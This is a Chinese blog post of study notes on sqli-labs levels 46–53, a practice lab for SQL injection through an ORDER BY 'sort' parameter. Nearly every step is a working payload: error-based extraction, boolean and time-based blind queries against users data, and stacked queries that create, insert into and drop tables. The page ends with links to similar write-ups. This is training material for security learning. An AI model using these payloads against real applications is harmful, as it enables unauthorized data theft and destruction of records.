sql-labs闯关46~53

最新推荐文章于 2024-06-05 20:30:56 发布
最新推荐文章于 2024-06-05 20:30:56 发布
阅读量1.2k 收藏 4
点赞数
分类专栏： sqli-labs 文章标签： sql 经验分享 web安全 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44663230/article/details/126581722
版权

sql-labs闯关46~53：

友善爱国公正诚信富强诚信和谐诚信富强和谐诚信自由爱国友善平等友善自由诚信富强诚信民主

复习笔记1

内容：

  1. sql-labs第46关(GET请求-基于错误-数字型-order by 排序)
  2. sql-labs第47关(GET请求-基于错误-字符型-order by 排序)
  3. sql-labs第48关(GET请求-基于错误-盲注-数字型-order by 排序)
  4. sql-labs第49关(GET请求-基于错误-字符型-盲注-order by 排序)
  5. sql-labs第50关(GET请求-基于错误-order by 排序-数字型-堆叠注入)
  6. sql-labs第51关(GET请求-基于错误-order by 排序-字符型-堆叠注入)
  7. sql-labs第52关(GET请求-基于盲注-order by 排序-数字型-堆叠注入)
  8. sql-labs第53关(GET请求-基于盲注-order by 排序-字符型-堆叠注入)

1.sql-labs第46关

1.1.1
欢迎界面第一句黄字提示了，这关输入的参数是sort，第二句我没看懂
1.1.2
先不管了，输入?sort=1 ，出现一个列表，以ID升序排列，我对这关的目的感到迷茫，前面的关卡爆数据就结束了，这关直接就给了，难道这关是为了爆表爆字段？如果可以的话，我希望有通关目标写在附近，不然都不知道要干嘛，果断百度

Sqli-Labs：Less 46 - Less 49*
Sqli-labs 复习 Less46-53 order by 后的注入
Sqli-labs less 46
sqli-labs(46-49)
SQL注入-order by注入

1.1.3
根据上面的那些资料，大致整理了一下，整个思维导图
1.1.4
输入?sort=rand()，页面发生变化，那么说明这关是数字型，不用找闭合点了，哈哈哈哈哈
1.1.5
先尝试报错型方式，输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+成功爆库

?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

1.1.6
爆表

?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+

1.1.7
爆字段

?sort=extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+

1.1.8
爆数据

2.sql-labs第47关

2.1.1
输入?sort=1 ，出现一个列表，以ID升序排列
2.1.2
输入?sort=rand()，页面无变化，那么说明这关是字符型
2.1.3
输入?sort=1'，出现报错信息，确定闭合点为'
2.1.4
这关有闭合点，不能像上关一样，先闭合再注入，输入?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),database()))--+成功爆库

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

2.1.5
爆表

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+

2.1.6
爆字段

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select username from users limit 0,1)))--+

2.1.7
爆数据

3.sql-labs第48关

3.1.1
输入?sort=1
3.1.2
输入?sort=rand()，页面发生变化，那么说明这关是数字型
3.1.3
尝试报错注入，输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+没成功，看起来我要用布尔型
3.1.4
首先要知道，条件为假时，页面显示，所以输入?sort=rand(0)--+记住id顺序
3.1.5
其次条件为真时，页面显示，输入?sort=rand(1)--+记住id顺序
3.1.6
输入?sort=rand(length(database())>5)--+，判断数据库长度，从结果来看，条件为真，所以数据库长度>5，以此类推，，，请参考前面的盲注篇
3.1.7
输入?sort=rand(mid(database(),1,1)>'m')--+判断数据库第一个字母范围，从结果来看，条件为真，所以数据库第一个字母范围在(m,z]间
3.1.8
输入?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+判断数据表张数，从结果来看，数据表张数<=5
3.1.9
输入?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+判断第一张数据表长度，从结果来看，第一张数据表长度>5
3.1.10
输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+判断第一张数据表的第一个字母范围，从结果看，在[a,m]间
3.1.11
输入?sort=rand((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5)--+判断符合条件的字段数，从结果来看，字段数<=5
3.1.12
输入?sort=rand(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5)--+判断第一个字段长度
3.1.13
输入?sort=rand(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m')--+判断第一个字段的第一个字母是否>m
3.1.14
输入?sort=rand((select count(username) from users)>5)--+判断username记录数是否>5
3.1.15
输入?sort=rand(length((select username from users limit 0,1))>5)--+判断第一条记录长度>5
3.1.16
输入?sort=rand(mid((select username from users limit 0,1),1,1)>'m')--+判断第一条记录的第一个字母范围

4.sql-labs第49关

4.1.1
输入?sort=1
4.1.2
输入?sort=rand()，页面无变化，那么说明这关是字符型
4.1.3
输入?sort=1'没报错信息，不能用报错注入了，输入?sort=1'--+尝试闭合，成功。确定闭合点'
4.1.4
输入?sort= 1' and (if(length(database())>5,sleep(3),1))--+判断数据库长度
4.1.5
输入?sort= 1' and (if(mid(database(),1,1)>'m',sleep(3),1))--+判断数据库第一个字母范围
4.1.6
输入?sort= 1' and (if((select count(table_name)from information_schema.tables where table_schema=database())>5,sleep(3),1))--+判断数据表张数>5
4.1.7
输入?sort= 1' and (if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1))--+判断第一张数据表长度
4.1.8
输入?sort= 1' and (if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1))--+判断第一张数据表的第一个字母范围
4.1.9
输入?sort= 1' and (if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5,sleep(3),1))--+判断符合条件的字段数是否>5
4.1.10
输入?sort= 1' and (if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5,sleep(3),1))--+判断第一个字段长度
4.1.11
输入?sort= 1' and (if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m',sleep(3),1))--+判断第一个字段的第一个字母是否>m
4.1.12
输入?sort= 1' and (if((select count(username) from users)>5,sleep(3),1))--+判断username记录数是否>5
4.1.12
输入?sort= 1' and (if(length((select username from users limit 0,1))>5,sleep(3),1))--+判断第一条记录长度>5
4.1.13
输入?sort= 1' and (if(mid((select username from users limit 0,1),1,1)>'m',sleep(3),1))--+判断第一条记录的第一个字母范围

5.sql-labs第50关

5.1.1
输入?sort=1
5.1.2
输入?sort=rand()，页面发生变化，那么说明这关是数字型
5.1.3
尝试报错注入，输入?sort=extractalue(1,concat(0x7e,database(),0x7e))--+爆库
5.1.4
堆叠注入，输入?sort=1;create table series50 like users--+查询1，并新建表名为series50，格式类似users
5.1.5
输入?sort=1;insert into series50 values(1,1,1)--+查询1，插入一条id、username、password为1的记录
5.1.6
输入?sort=1;drop table series50 --+查询1，再将表series50删除

6.sql-labs第51关

6.1.1
输入?sort=1
6.1.2
输入?sort=rand()，页面无变化，那么说明这关是字符型
6.1.3
输入?sort=1'，判断闭合点是否与'相关
6.1.4
再输入?sort=1'--+尝试闭合，确定闭合点为'
6.1.5
输入?sort=1';create table series51 like users--+查询1，并新建表名为series51，格式类似users
6.1.6
输入?sort=1';insert into series51 values(2,2,2)--+查询1，插入一条id、username、password为2的记录
6.1.7
输入?sort=1';drop table series51 --+查询1，再将表series51删除

7.sql-labs第52关

7.1.1
输入?sort=1
7.1.2
输入?sort=rand()，页面发生变化，那么说明这关是数字型
7.1.3
输入?sort=1;create table series52 like users--+查询1，并新建表名为series52，格式类似users
7.1.4
输入?sort=1;insert into series52 values(3,3,3)--+查询1，插入一条id、username、password为3的记录
7.1.5
输入?sort=1;drop table series52 --+查询1，再将表series52删除

8.sql-labs第53关

8.1.1
输入?sort=1
8.1.2
输入?sort=rand()，页面无变化，那么说明这关是字符型
8.1.3
输入?sort=1'，判断闭合点是否与’相关，结果没有报错信息，那么只能尝试闭合
8.1.4
输入?sort=1'--+尝试闭合，确定闭合点为'
8.1.5
输入查询1，并新建表名为series53，格式类似users
8.1.6
输入?sort=1';insert into series53 values(4,4,4)--+查询1，插入一条id、username、password为4的记录
8.1.7
输入?sort=1';drop table series53 --+查询1，再将表series53删除

专业划水选手
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs Less-46、47、48、49（sqli-labs闯关指南 46、47、48、49）—order by 相关注入
m0_54899775的博客
12-28 1119
sqli-labs Less-46、47、48、49（sqli-labs闯关指南 46、47、48、49）—order by 相关注入
ORDER BY 注入学习以及sqli-labs46关学习
willow_liang的博客
11-08 697
ORDER BY 注入学习 分析第46关代码 **注入方式** 1. 直接添加注入语句 ?sort=(select …) 2. 利用一些函数，如rand函数。 ?rand(sql语句) ?rand(true)或者rand(fakse) 3. 利用and 例如?sort=1 and (sql语句)或者直接?sort=sql语句 可以报错或者时间盲注 方式2 http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(true) fals
sqli-labs(46)
weixin_30674525的博客
06-03 630
0X01首先我们先来看一下源码 发现查询语句变成了 order by 参数也变成了 sort 看看是什么样的 (1)首先看看本关sql语句 $sql = "SELECT * FROM users ORDER BY $id"; 在mysql中 order by 参数后可以加入升序和降序来改变排列顺序， 我们来看看mysql的帮助函数 0...
以sqlilabs靶场为例，讲解SQL注入攻击原理【42-53关】
最新发布
weixin_42515203的博客
06-05 640
以sqlilabs靶场为例，讲解SQL注入攻击原理【42-53关】
基于Sqli-Labs靶场的SQL注入-46~53关
Joker
01-12 650
这一片博客我主要讲解 Order By注入，其实 Order By注入只是把参数变了，其余的操作都和之前参数为ID的时候大同小异，最大的区别就是 Order By注入不能使用Union联合注入。
sqli-labs-master 过关 46 - 53（附解题思路及解析）
weixin_47306547的博客
09-08 896
目录 第 46 关​ ​​第 47 关 第 48 关​​ 第 49 关 第 50 关 第 51 关 第 52 关 第 53 关 第 46 关 排序注入 源码： $sql = "SELECT * FROM users ORDER BY $id"; select使用文档：https://dev.mysql.com/doc/refman/8.0/en/select.html 分析：不同于 where 查询后可以用 union select
sqli-labs靶场第46关
weixin_72583035的博客
02-26 266
打开46关利用 order by 后的一些参数进行注入。所以sort=1的意思就是以第一列数据也就是ID进行排序输入sort=2就是以第二列也就是username进行排序输入sort=3就是以第三列也就是password进行排序输入sort=4发现会报错，因为根本没有第四列数据，这也是order by为什么能作为判断字段数的原因从上述可以知道这是为什么order by可以判断字段数的原因我们使用报错注入攻击查看当前库输入?sort=1 and updatexml(1,concat(0x7e,(databas
sqli-labs(46-49)
qq_43579362的博客
03-01 971
Less-46 这三关是排序注入order by，不同于where后面的注入，它不可以使用union联合查询注入，所以导致前面很多方法不可用，那应该如何注入，来看mysql官方给的select使用文档 可见order by后面可以使用limit，into outfile等语句，还可以跟数字等。 <1>报错注入 正常语句查询 http://127.0.0.1/sqli-labs/Less...
网络安全——sqli-labs第46关详解
m0_69151365的博客
02-22 958
这一关里，源码中没有注释掉MySQL的报错信息，所以我们可以进行报错注入，如果MySQL报错信息一旦被注释掉，我们就只能使用order by注入了，其实order by还有很多的注入方式，rand只是其中一个。大家有兴趣可以去学一下。
sqli-labs————Less-53
Fly_鹏程万里
05-22 382
Less-53与less52一样，这里直接给出payload：http://192.168.11.136/sqli-labs/Less-53?sort=1';create table hhh like users--+
sql-labs第46关 order by盲注
ytdd66的博客
02-26 1230
来到了第46关进入关卡发现让我们输入的参数为sort，我们输入?sort=1尝试：输入?sort=2,3,发现表格按照顺序进行排列输出，明显是使用了order by相关的函数。我们将参数变成1'进行尝试，就会报错：查看源码:通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入：分别显示升序和降序的表格，说明此处是注入点，即注入点在order by后的参数中，而order by不同于在where后的注入，不能使用union等进行注入。
sqli-labs(50-53)
qq_43579362的博客
03-01 759
Less-50 从源码可以看出，这里执行sql语句的函数是mysqli_multi_query()，它与以往执行sql语句的函数mysqli_query()不同，它一次可执行多条语句，而以往的一次只能执行一条，所以可以使用堆叠注入，之前都做过很多堆叠注入了，所以不再演示，只是这里为字符型注入，下面把一些基础常用的sql语句进行了罗列 数据库 # 查看所有数据库 SHOW DATABASES; #创...
sqlilabs第46关两种解法
m0_62738649的博客
02-21 275
第二种方法时间盲注法，我们可以将要查询的字母数字查询出来（可以用substr（）函数截取）并比较界面的反应时间来判断是否猜中。延迟的时间并不是sleep(1)中的1秒，而是大于1秒。它与所查询的数据的条数是成倍数关系的。可以知道它是按照我们输入的sort值来排序的。在写脚本时，可以添加timeout这一参数来避免延迟时间过长这一情况。计算公式：延迟时间=sleep(1)的秒数*所查询数据条数。如果查询的数据很多时，延迟的时间就会特别长。关时，这时候发现屏幕上的显示的不是再是。注入就是通过可控制的位置在。
sqli-labs(39关-53关)
weixin_51566481的博客
08-17 666
sqli-labs ,sql注入
Sqli-labs之Less：46-49
→_→
05-16 1208
Less-49 基于错误_GET_数字型_排序注入 这一关首先要说一下的是，在前面的关卡中我们大多是使用 id这个参数来获取到正常的页面，但在这几关中我们要使用 sort 这个参数，因为后台源代码这样设置了 那么接下来我们看一下正常的页面： 我们看到了正常的页面，从中我们也发现了数字的不同，页面给我们呈现出的账号表格中的顺序是不同的，那么这就是我们这几关要说的知识点。 ...
sqli-labs靶场通关技巧（46-65）
ldzhhh的博客
08-03 435
Less46 Order by注入，利用报错注入可以爆出数据库信息 暴库：?sort=1 and(updatexml(1,concat(0x7e,(select database())),0)); 爆表：?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)); 爆字段：?sort=1
sqli-labs47-65
willow_liang的博客
11-09 173
Less47 $sql = "SELECT * FROM users ORDER BY '$id'"; payload ?sort=1' procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)--+ Less48 $sql = "SELECT * FROM users ORDER BY $id"; #无错误提示，根据46关的payload进行盲注 payload ?sort=IF(substr(database()
（手工）【sqli-labs50-53】order by注入
07-16 709
【SQL-order by注入】
sqllabs less46~53
m0_51607644的博客
02-03 142
less46~49 order by注入 SQL语句$sql = “SELECT * FROM users ORDER BY $id”;我们可利用 order by 后的一些参数进行注入。 1.时间盲注 playload: ?sort=1 and if( left( (database()), 1) ='s' ,1,sleep(3))--+ 2.报错注入 playload:?sort=1 and updatexml(1,( select group_concat(0x7e,username,passw
sqli-labs闯关
10-09
很高兴为您解答关于sqli-labs闯关的问题！sqli-labs是一个用于学习和实践SQL注入的实验室。通过完成各个关卡，您将能够了解和掌握SQL注入的不同技术和攻击方法。 要开始sqli-labs闯关，您可以按照以下步骤进行： 1...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值